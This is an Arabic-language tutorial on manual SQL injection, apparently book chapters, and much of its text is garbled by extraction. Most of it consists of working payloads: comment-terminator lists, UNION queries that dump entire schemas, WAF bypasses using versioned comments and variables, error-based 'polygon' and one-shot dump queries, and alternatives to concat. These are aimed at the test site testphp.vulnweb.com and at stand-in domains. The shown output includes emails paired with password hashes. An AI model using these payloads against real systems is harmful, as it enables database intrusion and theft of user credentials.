‫‪-- -‬‬
‫\‪--‬‬
‫`‬
‫‪;-- -‬‬
‫‪--+-‬‬
‫‪+--+‬‬
‫‪-- -‬‬
‫–‬
‫‪#‬‬
‫‪//‬‬
‫‪/**/‬‬
/*
%0a
%23
%60
;%00
--%0a
%2523
%2560
;%2500
0%0a)
‫☆*•‪ ☆¸.‬الفصل العاشر ‪ :‬إستخدام قيمة فارغة الـ ‪☆*•.¸☆ Null‬‬

‫وهو نفس الباب الثانى والثالث من حيث المبدأ وا ر‬


‫لسلوب ‪ ,‬فبدل أن نقوم بتكرار أرقام العمدة أو نقوم بتكرار إستعلم الفيرجن ‪()version‬‬
‫جملة ‪ Null‬والتي تعنى “‪ ” no data‬ثم رملحظة أي أمر يطرأ داخل الصفحة ثم بعد ذلك داخل‬ ‫بكافة العمدة نقوم بإستبدالها جميعا ل بال ر‬
‫السورس باج على هذا الترتيب المذكور أنفا ‪:‬ل‬

‫‪www.InjectorBoy.md/news.php?id=58'union select Null,Null,Null,Null -- -‬‬

‫▂ ▃ ▄ ▅ ▆ ▇ █ نهاية العملية █ ▇ ▆ ▅ ▄ ▃ ▂‬

‫للرنكلمل عملية الحقن ال ر‬


‫كلي‬

‫بعد تحصيل العدد ال ر‬


‫كلي للعمدة وإظهار العمدة الرمصابة بالصفحة‬
‫ننتقل إلى مرحلة رأخرى أل وهي مرحلة إستخراج المعلومات الحساسة ‪.‬‬
▂ ▃ ▄ ▅ ▆ ▇ █ ‫▂ ▃ ▄ ▅ ▆ ▇ █ إستكمال مراحل الحقن‬

‫لنرجع مرجوعنا إلي ما كنا ولقفنا عندهر فبعد معرفة العدد ال ر‬


‫كلي للعمدة وكتابة إستغللة يتبقي لدينا إستخراج المعلومات الحساسة‬
: ‫من قاعدة البيانات وجمع المعلومات و يتم جمع المعلومات الحساسة من القاعدة بإستخدام إستعلمات رمخصصة لذلك‬

•◘╦╚☆ ‫•◘╚╦☆ الستعلم الشامل‬

. ‫ سوف ريستخرج لنا كافة التفاصيل الرمتعلقة بالقاعدة من أسماء الجداول و أسماء العمدة وذلك بصورة رمفصلة‬: ‫الستعلم الشامل‬

concat( @n_d:=0x00,@i:=0x00,@o:=0x00,if( benchmark( (select count(*) from information_schema.schemata),


@o:=CONCAT(@o,(Select concat( 0x266e6273703b,LPAD(@n_d:=@n_d
%2b1,3,0x30),0x2e203c666f6e7420636f6c6f723d7265643e3c623e
,@i:=schema_name,0x3c2f623e20286e756d626572206f66207461626c657320696
e2064617461626173653a20,@NumberOfDatabases:=(select count(*) from information_schema.tables where
table_schema=@i),0x293c2f666f6e743e,
0x3c62723e,
concat(@n_t:=0x00,@tbl:=0x00,@out_tbl:=0x00,if( benchmark( @NumberOfDatabases,@out_tbl:=CONCAT( @out_t
bl,( Select concat( repeat(0x266e6273703b,8),LPAD(@n_t:=@n_t
%2b1,3,0x30),0x2e203c666f6e7420636f6c6f723d677265656e3e3c623e,@tbl:=
table_name,0x3c2f623e20286e756d626572206f6620636f6c756d6e7320696e207461
626c653a20,@NumberOfColumns:=(select count(*) from information_schema.columns where table_schema=@i and
table_name=@tbl),0x293c2f666f6e743e,concat( @n_c:=0x00,@clm:=0x00,@clm_out:=0x00,if( benchmark( @Numbe
rOfColumns,@clm_out:=CONCAT( @clm_out,0x3c62723e,repeat(0x266e6273703b ,16),LPAD(@n_c:=@n_c
%2b1,3,0x30),0x2e20203c666f6e7420636f6c6f723d626c75653e,(Select (@clm:=column_name) from
information_schema.columns where (table_name=@tbl) and column_name>@clm order by column_name LIMIT
1),0x3c2f666f6e743e))=0, @clm_out, 0x00), 0x3c62723e)) from information_schema.tables where table_schema=@i
and table_name>@tbl order by table_name LIMIT 1)))=0, @out_tbl, 0x00))) from information_schema.schemata
where schema_name>@i order by schema_name LIMIT 1)))=0,@o,0x00))
‫مثال عملي‬

testphp.vulnweb.com/listproducts.php?cat=.1 union select 1,2,3,4,5,6,7,8,9,10,11-- -

testphp.vulnweb.com/listproducts.php?cat=.1 union select


1,2,3,4,5,6,7,8,9,10,concat( @n_d:=0x00,@i:=0x00,@o:=0x00,if( benchmark( (select count(*) from
information_schema.schemata), @o:=CONCAT(@o,(Select concat( 0x266e6273703b,LPAD(@n_d:=@n_d
%2b1,3,0x30),0x2e203c666f6e7420636f6c6f723d7265643e3c623e
,@i:=schema_name,0x3c2f623e20286e756d626572206f66207461626c657320696
e2064617461626173653a20,@NumberOfDatabases:=(select count(*) from information_schema.tables where
table_schema=@i),0x293c2f666f6e743e,
0x3c62723e,
concat(@n_t:=0x00,@tbl:=0x00,@out_tbl:=0x00,if( benchmark( @NumberOfDatabases,@out_tbl:=CONCAT( @out_t
bl,( Select concat( repeat(0x266e6273703b,8),LPAD(@n_t:=@n_t
%2b1,3,0x30),0x2e203c666f6e7420636f6c6f723d677265656e3e3c623e,@tbl:=
table_name,0x3c2f623e20286e756d626572206f6620636f6c756d6e7320696e207461
626c653a20,@NumberOfColumns:=(select count(*) from information_schema.columns where table_schema=@i and
table_name=@tbl),0x293c2f666f6e743e,concat( @n_c:=0x00,@clm:=0x00,@clm_out:=0x00,if( benchmark( @Numbe
rOfColumns,@clm_out:=CONCAT( @clm_out,0x3c62723e,repeat(0x266e6273703b ,16),LPAD(@n_c:=@n_c
%2b1,3,0x30),0x2e20203c666f6e7420636f6c6f723d626c75653e,(Select (@clm:=column_name) from
information_schema.columns where (table_name=@tbl) and column_name>@clm order by column_name LIMIT
1),0x3c2f666f6e743e))=0, @clm_out, 0x00), 0x3c62723e)) from information_schema.tables where table_schema=@i
and table_name>@tbl order by table_name LIMIT 1)))=0, @out_tbl, 0x00))) from information_schema.schemata
where schema_name>@i order by schema_name LIMIT 1)))=0,@o,0x00))-- -
‫في الترتيب الثامن للجداول تم تحصيل الجدول الرمستهدف وهو الجدول ‪ users‬بالضافة إلى العمدة الرملحقة به وهي الـ ‪email -‬‬
‫‪. name - pass‬‬

‫الن يلي هذه المرحلة عملية تجميع البيانات الرمستخرجة أنفا ل داخل الستعلم التالي‬
‫لكي نقوم بسحب قيمة المعلومات الحساسة من العمدة ‪:‬‬

‫الستعلم النهائي ☆╚╦◘•‬ ‫•◘╚╦☆‬

‫في المرحلة الثانية هذه سوف نقوم بإستغلل البيانات التي رقمنا بتحصيلها سابقا ل بالستعلم الول الشامل وإضافتها بالستعلم الثاني ‪.‬‬

‫‪(sElect(@) from (sElect (@:=0x00), (@running_number:=0),(sElect (@) from (table) where (@) in (@:=concat(@,‬‬
‫)‪(@running_number:=@running_number%2b1),0x0a,column,0x3a,column))))a‬‬

‫‪testphp.vulnweb.com/listproducts.php?cat=.1 union select 1,2,3,4,5,6,7,8,9,10,(sElect(@) from (sElect (@:=0x00),‬‬


‫‪(@running_number:=0),(sElect (@) from (users) where (@) in (@:=concat(@,‬‬
‫‪(@running_number:=@running_number%2b1),0x0a,name,0x3a,pass))))a)-- -‬‬

‫كلية الولى للحقن النمطي لذا لنتعمق بتقنيات رأخرى بالبواب والفصول التالية‬
‫وبذلك نكون قد إنتهينا من المرحلة ال ر‬

‫▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل █ ▇ ▆ ▅ ▄ ▃ ▂‬
‫� الفصل الرابع ‪ :‬تقنيات الحقن الفريدة من نولعها �‬

‫في هذا الفصل سوف أشرح عدة مسائل رمتطورة منها ما هو مشهور لدي ر‬
‫كم ومنها ما دون ذلك من الرشهرة ‪,‬‬
‫وسوف يكون الشرح بشئ من التفصيل ولكن التفصيل المختصر حتى ر‬
‫لطيل الكتاب ‪-‬‬ ‫ر‬

‫☆*•‪ ☆¸.‬الرمحتويات ☆¸‪☆*•.‬‬

‫الباب الول ‪ :‬رأسلوب الحقن الفريد الـ ‪. Join Syntax‬‬

‫الباب الثاني ‪ :‬إستخدام الرمتغيرات المؤقتة لتخطى الحمايات الرمسمتهلدفه ‪.‬‬

‫الباب الثالث ‪ :‬رأسلوب حقن نقطة الحقن الداخلي ‪. injection inside injection‬‬

‫الباب الرابع ‪ :‬تقنية الـ ‪. Non-Geometric Error Based‬‬


‫الباب االخامس ‪ :‬إستخراج القيم ال ر‬
‫كلية بتقنية الـ ‪ Error Based‬بلمح البصر ‪. Dump In One Shot‬‬

‫الباب السادس ‪ :‬تقنيات الحقن البديلة الـ ‪. SQL-Injection-Without‬‬


‫‪ -1‬تقنية معرفة الـ ‪. db name‬‬
‫‪ -2‬تقنية معرفة قيمة الباسورد للجدول الرمستخرج دونما عناء إستخراج العمدة الخاصة به ‪.‬‬
‫الباب السابع ‪ :‬عندم ل تستطيع إستخدام القيمة ‪ Concat‬بالستعلمات ‪.‬‬
‫الباب الثامن ‪ :‬قيم الـ ‪ Concat‬الفريدة من نوعها ‪.‬‬
‫الباب التاسع ‪ :‬تقنية اليحث عند الجداول التي تحتوى أعمدة باسوردات ‪.‬‬
‫| ☆*•‪ ☆¸.‬الباب الول ‪ :‬رأسلوب الحقن الفريد الـ ‪| ☆*•.¸☆ Join Syntax‬‬

‫رأسلوب الحقن الفريد الـ ‪ Join Syntax‬هو رأسلوب حقن غير إعتيادي هدفرره هو ذات الهدف من الحقن النمطي العتيادي أي إختبار‬
‫ث المكانيات الخاصة به فهو نمط يستطيع تخطي بعض الحمايات العتيدة وهذا الحقن‬‫إستعلمات الحقن ولكن ل مره يختلف من حي ر‬
‫خطوارته على النحو القادم ‪:‬‬
‫� الموقع الرمختبر �‬

‫‪www.InjectorBoy.md/news.php?id=58‬‬

‫عند إستغلل حقن وكتابة الستغلل الكامل لره على النحو القالدم لكن دومنما جدوى من العمل مع ظهور نمط جديد من الخطاء‬

‫‪www.InjectorBoy.md/news.php?id=58' union select 1,2,3,4,5,6 -- -‬‬

‫'‪Error: (1054) Unknown column 'alias' in 'field list‬‬

‫يكون الحل البديل للحقن النمطي هذا هو الحقن الفريد الـ ‪ Join Syntax‬فإلى التكوين الهيكلي لهذا النمط الغير إعتيادي من الحقن ‪.‬‬

‫� التكوين الهيكلي للعملية �‬

‫أول ل ‪ :‬يكون الستغلل كما هو على النمط العتيادي ث رلم نقوم بإضافة مسافة بعد الكلمة ‪ select‬رثم ياليها كتابة رمز النجمه * رثم يلي‬
‫ذلك ركلره مسافة رأخرى بعد رمز النجمه رثم أخيرا ل كتابة الكلمة ‪ from‬بعمدرهما وذلك على النحو التالي بالترقيم أدناه ‪:‬‬

‫‪[1] news.php?id=58' union select 1,2,3,4,5,6 -- -‬‬

‫‪[2] news.php?id=58' union select * from 1,2,3,4,5,6 -- -‬‬

‫ثانيا ل ‪ :‬نتقل إلى هيكلة الرقام الخاصة بالعمدة فعندما رنريد كتابة رقم ما لعمود من العمدة داخل الستغلل يكون ذلك على النحو‬
‫التالي ‪:‬‬

‫‪ -1‬نقوم بوضع قوسين هلل لميين رمغملقين بعد كلمة ‪ from‬على النحو التي ‪:‬‬

‫‪[1] news.php?id=58' union select * from () -- -‬‬

‫‪ -2‬رثم نكرتب داخل هذين القوسيين كلمة الـ ‪ select‬على النحو التي ‪:‬‬

‫‪[2] news.php?id=58' union select * from (select) -- -‬‬

‫‪ -3‬رثم نقوم بإضافة مسافة بعد الكلمة ‪ select‬داخل القواس رثم ياليها نكرتب رقم العمود الول لدينا على النحو التي ‪:‬‬

‫‪[3] news.php?id=58' union select * from (select 1) -- -‬‬


‫‪ -4‬رثم نعطي هذا العمود أي صالحب الرقم واحد إسما ل رمستعارا ل ويكون مكان ذلك السم الرمستعار بعد القوسين الرمغلقين مباشرلة دومنما أية‬
‫فواصل ‪ ,‬وليكون أي السم الرمستعار مكتوبا ل من الحروف البجدية النجليزية على النحو التي ‪:‬‬

‫‪[4] news.php?id=58' union select * from (select 1)a -- -‬‬

‫‪ -5‬ثم يالي السم الرمستعار ‪ a‬مسافة رثم رنضيف الكللمة ‪ join‬على النحو التي ‪:‬‬

‫‪[5] news.php?id=58' union select * from (select 1)a join -- -‬‬

‫‪ -6‬وهكذا دواليك مع باقى أرقام العمدة كافة فتكون الصورة النهائية لهذا النمط غير العتيادي على هذا النحو النهائي ‪:‬‬

‫‪[6] InjectorBoy.md/news.php?id=58' union select * from (select 1)a join (select+2)b join (select+version())c join‬‬
‫‪(select+4)d join (select+5)e join (select+6)f -- -‬‬

‫تمت عملية الحقن بنجاح‬


‫الباب الثاني | ☆*•‪ ☆¸.‬إستخدام الرمتغيرات المؤقتة لتخطى الحمايات الرمسمتهلدفه ☆¸‪| ☆*•.‬‬

‫هناك الكثير من الحمايات ‪ WAF'S‬التى تقوم على إعتراض وإستهداف بعض الكللمات الساسية ومنعها من العمل وهى من الرئيسيات ‪ -‬أي‬
‫هذه الكلمات الرمستهدفة ‪ -‬التى رتستخدم داخل الستعلمات الرئيسية الخاصة بعمليات الستغلل الكامل عند حقن قواعد البيانات ‪ ,‬فعلى‬
‫سبيل المثال ل الحصر الكلمة الرئيسية ‪ FROM‬المستخدمة داخل الستعلمات بكثرة كما بالستعلم التالى ‪:‬‬

‫!‪(sElect(@x)from(Select(@x:=0x00),(sElect(0)from(information_schema.columns)where(table_schema‬‬
‫‪=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x3a,table_na‬‬
‫)‪me,0x3a,column_name))))x‬‬

‫والتى قامت الحماية ‪ WAF'S‬بعمل إعتراض لها ‪ ,‬والتى ل يمكن على إصمرها تمرير هذا الستعلم بكامل هيئتره لقالعدة البيانات نظرا ل لهذا‬
‫الحظر لذا الن للن مرقم بعمل محاكاه واقعية لعملية حقن يدوي لموقع رص لممممت حمايتره لوقف أى عمليات رمرتلبطة إستعلماتها بالكلمة ‪FROM‬‬
‫ومحاولة تخطي هذه الحماية الرمعقدة بصورة بسيطة عن طريق إنشاء متغير محلي ! حسنا ل فالرننتابع ‪.‬‬

‫حاكمى‬
‫الموقع الرم م‬

‫‪www.InjectorBoy.GHT?id=-1 /*!12345UnIoN*/ /*!12345SeLeCt*/ 1,2,3,4,5,6--‬‬


‫الن نقوم بإضافة الستعلم الرمشار لره سابقا ل في بداية الحديث رمستبدل ل به أيا ل من العمدة الرمصابة وليكن العمود رقم خمسة على هذا النحو ‪:‬‬

‫‪www.InjectorBoy.GHT?id=-1 /*!12345UnIoN*/ /*!12345SeLeCt*/ 1,2,3,4,(sElect(@x)from(Select(@x:=0x00),‬‬


‫!‪(sElect(0)from(information_schema.columns)where(table_schema‬‬
‫‪=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x3a,table_na‬‬
‫‪me,0x3a,column_name))))x),6-- -‬‬

‫كما تبين من الصورة السابقة تم إعتراض الستعلم فى هيئة فوربيدن وذلك لكون الستعلم رمحتوي على الكلمة الرمعترضة ‪ FROM‬والذى‬
‫ت أنها الهدف من هذا العتراض على النحو التالي ‪-‬‬
‫أستطيع إثبا ر‬

‫‪www.InjectorBoy.GHT?id=-1 /*!12345UnIoN*/ /*!12345SeLeCt*/ 1,2,3,4,5,6+from-- -‬‬

‫حسنا ل الن سوف نقوم بتخطي هذا المنع أو العتراض عن طريق إنشاء رمتغير محلي لكي نتفادى أي إعتراض على أيا ل من كلمات الستعلم‬
‫الرئيسية من ضمنها الكلمة ‪. Form‬‬

‫خذ تصور عام عن فكرة المتغيرات المحلية بـ ‪ html‬وكيف نستطيع الستفاده منه ‪-‬‬
‫ولكن أول ل فلنأ ر‬
‫أول ل ‪ :‬رأنرظر الصورة أدناه‬

‫كما نري بالصورة عند العدد الرمرقم بالصورة ‪ -1-‬هذا ما ريسمى بالرمتغير وقد سميت هذا المتغير بألــ ‪ TITLE‬ويحتوي هذا المتغير على‬
‫البيانات التى رنريد لطباعتها داخل الصفحة بالماكن التالية وعلى حسب الترقيم التي ‪:‬‬

‫أول ‪ :‬بالبار الرئيسى للصفحه وهذا الرقم ‪-2-‬‬


‫ثانيا ل ‪ :‬بداخل الصفحة الرئيسية وهذا الرقم ‪-3-‬‬
‫فبالستعاضة هنا عن البيانات المراد طباعتها ‪ -‬أى بدل ل من الكتابة كل مرة رأريد فيها إستخدام هذه البيانات بصورة يدوية ‪ -‬رقمنا فقط بوضع‬
‫السم الرمستعاض بله للمتغير والرمحتوي البيانات المراد طباعتها بالمكان الرمخصصرة لها ‪,‬وهذا من الناحية العملية أمر فى غاية الروعة كونره‬
‫جمل داخل التصميم ويقلل أيضا ل من العمليات الكتابية باليد ‪,‬وبالن لمرظر للناتج النهائى الرمنتظر من الرمتغير المحلي‬
‫ريقلل من كثرة الكلمات وال ر‬
‫سوف يكون كما بالصورة التاليه ‪-‬‬

‫رائع ‪ :‬تم طباعة البيانات الرمراد طباعتها بأمالكنها الرمخصصة لها عن طريق عمل إستعاضة بالسم ‪.‬‬
‫وما سوف نقوم به تالي ا ل أثناء عملية الحقن اليدوي هو ذات الفكرة بعمل إستعاضة بالسم عن البيانات التي سوف نقوم بحقلنها داخل‬
‫أحد العمدة الرمصابة ‪ ,‬أي إننا سوف نقوم باللتفاف على الـ ‪ waf‬لتمرير القيم المحظورة بصورة غير رمباشرة بعيدا ل عن الدخال‬
‫المباشر لهذه الستعلمات والكواد داخل العمدة الرمصابه ‪.‬‬

‫ألخطوات الرمتبعة لعملية الحقن بالرمتغير المحلي‬

‫أول ل ‪ :‬الموقع ذو الحماية الرمستهدفة ‪.‬‬

‫‪[1] www.InjectorBoy.GHT?id=-1 /*!12345UnIoN*/ /*!12345SeLeCt*/ 1,2,3,4,5,6 -- -‬‬

‫ثانيا ل ‪ :‬نقوم بإضافة رمتغير محلي قبل الستعلم ‪ union select‬وبعد رقم الرمتغير صاحب الرقم واحد على النحو التي‬

‫‪[2] www.InjectorBoy.GHT?id=-1 and @:=(Statemeants) /*!12345UnIoN*/ /*!12345SeLeCt*/ 1,2,3,4,5,6 -- -‬‬

‫الـ ‪ ()=:@ and‬هو الرمتغير المحلي والـ ‪ Statemeants‬تعني مكان وضع الستعلمات الرمستخدمة والرمز @ هو السم الرمستعاض به‬
‫عن الرمتغير المحلي بصورة ركلية ‪-‬‬

‫ثالثا ل ‪ :‬نقوم بإضافة السم الرمستعاض به عن الرمتغير المحلي وهو رمز الـ @ مكان أحد أرقام العمدة الرمصابة على النحو التي ‪:‬‬

‫‪[3] www.InjectorBoy.GHT?id=-1 and @:=(Statemeants) /*!12345UnIoN*/ /*!12345SeLeCt*/ 1,2,3,4,@,6 -- -‬‬

‫الن للن مرقوم بتجررلبة هذا الرمتغير المحلي ورمحاولة إستدعاء إصدار قاعدة البيانات رمستخدمين الستعلم ‪ ()version‬بدل القيمة‬
‫‪ Statemeants‬على النحو التالي ‪:‬‬
[4] www.InjectorBoy.GHT?id=-1 and @:=(version()) /*!12345UnIoN*/ /*!12345SeLeCt*/ 1,2,3,4,@,6-- -

‫تم المر بنجاح‬

‫حسنا ل الن نقوم بإضافة الستعلم الخاص بإستخراج كافة الجداول والرمحتوي على الكلمات المحظورة والتي هي رهنا على سبيل‬
: ‫ على هذا النحو التي‬- FROM - ‫اللمثال الـ‬

: ‫ نضيف الستعلم التالي‬- ()version - ‫مابين القوسين بدل ل من الـ‬

/*!50000SeleCT*/ /*!50000GrouP_ConCat(Table_name separator 0x3c62723e)*/From Information_Schema.Tables


where table_Schema=database()

[5] www.InjectorBoy.GHT?id=-1 and @:=(/*!50000SeleCT*/ /*! 50000GrouP_ConCat(Table_name separator


0x3c62723e)*/From Information_Schema.Tables where table_Schema=database()) /*!12345UnIoN*/ /*!
12345SeLeCt*/ 1,2,3,4,@,6-- -
‫الباب الثالث ‪ ☆¸.•*☆ :‬رأسلوب حقن نقطة الحقن الداخلي ‪☆*•.¸☆ injection inside injection‬‬

‫رأسلوب ' حقن نقطة الحقن ' أو بمعنى أدق الحقن داخل الحقن من الساليب القوية بمجال حقن قواعد البيانات ‪:‬‬

‫لسلوب بالتفاصيل بالفصل السابع لذا ل داعي من تكرار شرحة مرلة رأخرى‬
‫تم شرح هذا ا ر‬
‫الباب الرابع ‪ :‬تقنية الـ ‪Non-Geometric Error Based‬‬

‫هذه التقنية تندرج تحت قسم اليرور باسيد ولكنها تختلف عنها بال ر‬
‫كلية‬

‫أول ل ‪ :‬شروط الحقن بالـ ‪Non-Geometric Error Based‬‬

‫‪ – 1‬القاعده ل تقل عن الصدار ‪ 5.1‬فما فوق ل أقل ‪.‬‬


‫‪ - 2‬تعمل فقط مع رنقطة الـ ‪. function point() Q‬‬

‫;))‪SELECT polygon(point(53,12‬‬

‫أول ل ‪ :‬موقع أصدار قاعدته ‪ 5.1‬سوف نقوم بالشرح عليه ‪.‬‬

‫‪www.InjectorBoy.md/users/view.php?id=1‬‬

‫‪ -1‬أستخراج أصدار القاعده ‪.‬‬


‫الستعلم الرمستخدم لذلك‬

‫;))‪polygon((select*from(select*from(select@@version)f)x‬‬

‫ملحوظة ‪ :‬يجب حذف رقم الرمتغير عند إستخدام هذا الستعلم على النحو التالي‬

‫;))‪www.InjectorBoy.md/users/view.php?id=polygon((select*from(select*from(select@@version)f)x‬‬

‫أصدار القاعده = ‪log-5.1.73‬‬


. ‫ أستخراج الجداول‬-2
‫الستعلم الرمستخدم لذلك‬

polygon((select*from(select*from(select group_concat(table_name) from information_schema.tables where


table_schema=database())f)x));

www.InjectorBoy.md/users/view.php?id=polygon((select*from(select*from(select group_concat(table_name) from


information_schema.tables where table_schema=database())f)x));

‫الجداول المستخرجه‬

blocklist
log_login
pernodmajorwinners
pernodmanagement
pernodmatches
pernodmessages
pernodnews
pernodpolls
pernodtopics
pernoduser

pernoduser : ‫الجدول المطلوب هو‬

. pernoduser ‫ أستخراج العمده الخاصه بهذا الجدول‬-3

‫الستعلم الرمستخدم لذلك‬

polygon((select*from(select*from(select group_concat(column_name) from information_schema.columns where


table_name='T_HEX' )f)x));

. ‫ لكن سوف يكون مشفرا ل بالهيكس‬pernoduser ‫ بالستعلم بالجدول المستخرج‬T_HE ‫نستبدل القيمة‬
‫موقع للتشفير‬

http://www.waraxe.us/sql-char-encoder.html

0x7065726e6f6475736572 : ‫ رمشفرا ل بالهيكس‬pernoduser ‫الجدول‬

www.InjectorBoy.md/users/view.php?id=polygon((select*from(select*from(select group_concat(column_name) from


information_schema.columns where table_name=0x7065726e6f6475736572 )f)x));

‫بيانات العمده المستخرجه من الجدول الهدف‬

password
email

. ‫ أستخراج البيانات النهائيه‬-4

‫الستعلم الرمستخدم لذلك‬

polygon((select*from(select*from(select group_concat(C1,0x3a,C2) from table_name)f)x));

‫ كالتالى‬pernoduser ‫ بالجدول‬table_name ‫ ونستيدل‬email || password ‫ لأعمده‬C2 ‫ و الــ‬C1 ‫نستبدل الــ‬

www.InjectorBoy.md/users/view.php?id=polygon((select*from(select*from(select
group_concat(email,0x3a,password) from pernoduser)f)x));
‫ البيانات النهائيه المستحرجه‬-5

xxxxxxx@tiscali.co.uk:22fdf94cc29e7aff8ece472ed119c53e
xxxxxxx@hotmail.co.uk:795b087b2ceb3482dc9956eb8f126ea3
‫الباب االخامس ‪ :‬إستخراج القيم ال ر‬
‫كلية بتقنية الـ ‪ Error Based‬بلمح البصر ‪Dump In One Shot‬‬

‫سوف نقوم بهذا الباب بشرح تقنية إستخراج كافة البيانات بصورة كاملة في بـ لمح البصر ضمن إستعلم اليرورباسيد ‪.‬‬

‫‪www.InjectorBoy.md/news.php?id=58‬‬

‫لنرمر بصورة سريعة على البيانات الولية مثل إصدار قاعدة البيانات‬

‫‪InjectorBoy.md/news.php?id=58 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1-- -‬‬

‫سوف رنلحظ التغير الشامل في تركيب الستعلمات من بداية القسم التالي كما لم نتعود من قبل‬
. Tables ‫ إستخراج كافة الجداول ضمن الموقع الـ‬: ‫أول ل‬

‫الستعلم الرمستخدم لذلك‬

=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/(0x3a3a3a,(select
group_concat(table_name) from information_schema.tables where table_schema=database())))x)a)-- -

‫ يجب حذف رقم الرمتغير عند إستخدام هذا الستعلم على النحو التالي‬: ‫ملحوظة‬

www.InjectorBoy.md/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/
(0x3a3a3a,(select group_concat(table_name) from information_schema.tables where table_schema=database())))x)a)--
-

‫< كالتالي‬HTML TAG=<BR ‫ ريمكن إستخراج البيانات بصورة رمتالية بإستخدام الـ‬: ‫ملحوظة‬

www.InjectorBoy.md/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/
(0x3a3a3a,(select group_concat('<BR>',table_name) from information_schema.tables where
table_schema=database())))x)a)-- -

‫الجداول التي تم إستخراجها ردفعة واحدة‬

kkbaketop_admin,kkbaketop_category,kkbaketop_content,kkbaketop_contentOld,
kkbaketop_meta,kkbaketop_navigation,kkbaketop_product

. Columns ‫ إستخراج كافة العمدة ضمن الموقع الـ‬: ‫ثانيا ل‬

‫الستعلم الرمستخدم لذلك‬

=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/(0x3a3a3a,(select
group_concat('<BR>',table_name,0x3a,column_name) from information_schema.columns where
table_schema=database())))x)a)-- -

‫ في الستعلمات العادية نقوم بإضافة الجدول الرمراد إستخراج العمدة منه لكن رهنا الستعلم سوف يستخرج كافة الجداول‬: ‫ملحوظة‬
. ‫ ولستخراج البيانات النهائية فهذا أمرا ل في غاية السهولة فل داعي من شرحرة‬, ‫خصها‬
‫والعمدة التي ت ر‬

www.InjectorBoy.md/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/
(0x3a3a3a,(select group_concat('<BR>',table_name,0x3a,column_name) from information_schema.columns where
table_schema=database())))x)a)-- -
‫الباب السادس ‪ :‬تقنيات الحقن البديلة الـ ‪SQL-Injection-Without‬‬

‫هذه التقنيات رمختصة بعمليات الحقن غير النمطية أي الحقن بأساليب رمختللفة عن المسائل المعروف بهذا المجال ‪.‬‬

‫•◘╚╦☆ ‪ - 1‬تقنية معرفة الـ ‪•◘╦╚☆ db name‬‬

‫يتم إستخدام هذه التقنية بإستبدال أحد القيم التالية بقيمة الرمتغير الرقمي الخاصة برابط الموقع المصاب ‪.‬‬

‫)(_‬
‫)(‪$‬‬
‫)(`@`‬
‫)(`‪`anything‬‬
‫‪'*_()%23‬‬
‫‪'or v()-- -‬‬

‫‪[1] testphp.vulnweb.com/listproducts.php?cat=1‬‬

‫في حالة العملية العتيادية‬

‫‪[2] testphp.vulnweb.com/listproducts.php?cat=.1 union select 1,2,3,4,5,6,7,8,9,10,database()-- -‬‬


‫في حالة العملية الرمباشر بتقنية الـ ‪SIW‬‬

‫)(_=‪[3] testphp.vulnweb.com/listproducts.php?cat‬‬

‫•◘╚╦☆ ‪ - 2‬تقنية معرفة قيمة الباسورد للجدول الرمستخرج دونما عناء إستخراج العمدة الخاصة به ☆╚╦◘•‬

‫العادة الرمحكمة بعد إستخراج الجداول الرمستهدفة يتم تحصيل العمدة الخاصة باليوزرات والباسوردات لستغللها ‪ ,‬لكننا رهنا لن نقوم‬
‫بفعل ذلك بل سوف نستخرج هذه القيم بصورة رمباشرة دونما عناء معرفة قيم العمدة بصورة رمسبقة وذلك في خطوتين فقط ‪.‬‬

‫الخطوة الولى ‪ :‬معرفة الجدول الهدف ‪.‬‬

‫الستعلم الرمستخدم لذلك‬

‫‪and polygon((select*from(select*from(select group_concat(table_name) from information_schema.tables where‬‬


‫;))‪table_schema=database())f)x‬‬

‫‪testphp.vulnweb.com/listproducts.php?cat=1and polygon((select*from(select*from(select‬‬
‫;))‪group_concat(table_name) from information_schema.tables where table_schema=database())f)x‬‬
artists carts categ featured guestbook pictures product users : ‫الجداول الرمستخرجة‬

. ‫ معرفة قيمة البيانات النهائية‬: ‫الخطوة الثانية‬

‫الستعلم الرمستخدم لذلك‬

and polygon((select * from(SELECT ((SELECT * from (select * from Table limit 0,1)x) = (select * from Table
limit 1) )``)o));

. ‫ الرمكررة مرتين بهذا الستعلم بقيمة الجدول الرمستخرج سابقا ل بالخطوة الولى وبنفس التكرار‬Table ‫ نقوم بإستبدال قيم الـ‬: ‫ملحوظة‬

testphp.vulnweb.com/listproducts.php?cat=1 and polygon((select * from(SELECT ((SELECT * from (select *


from users limit 0,1)x) = (select * from users limit 1) )``)o));

‫البيانات النهائية الرمستخرجة‬

test','test','1234-5678-2300-9000','21 street','email@email.com
John Smith','2323345','45e5eafd5199e6c69a7f3a6a71b35750
. ‫ بالستعلمات‬Concat ‫ عندم ل تستطيع إستخدام القيمة‬: ‫الباب السابع‬

‫ الرمنصب بالموقع لذا سوف أعرض على حضرارتكم‬WAF ‫ بسبب الواف‬Concat ‫في كثير من الحيان ل نستطيع إستخدام القيمة‬
. Concat ‫بعض التقنيات الفريدة التي تقوم محل الستعلمات العادية دون إستخدام القيمة‬

export_set : ‫القيمة‬

export_set(5,@:=0,(select+count(*)/*!50000from*/+/*!
50000information_schema*/.columns+where@:=export_set%285,export_set%285,@,0x3c6c693e,/*!
50000column_name*/,2),0x3a3a,/*!50000table_name*/,2)),@,2)

make_set : ‫القيمة‬

make_set(7,@:=0,(select+count(*)/*!50000from*/+/*!50000information_schema*/.columns where
table_schema=database() and @:=export_set(5,export_set%285,@,0x3c6c693e,/*!
50000column_name*/,2),0x3a3a,/*!50000table_name*/,2)),@,2);

replace : ‫القيمة‬

replace(@@version,@@version,concat
(unhex(hex(table_name)),0x203a20,unhex(hex(column_name)),0x3c62723e,@@version))

reverse : ‫القيمة‬

reverse(insert(0x1,1,0,reverse(concat
(unhex(hex(table_name)),0x203a20,unhex(hex(column_name)),0x3c62723e)))) from information_schema
0.e.columns limit 0,1

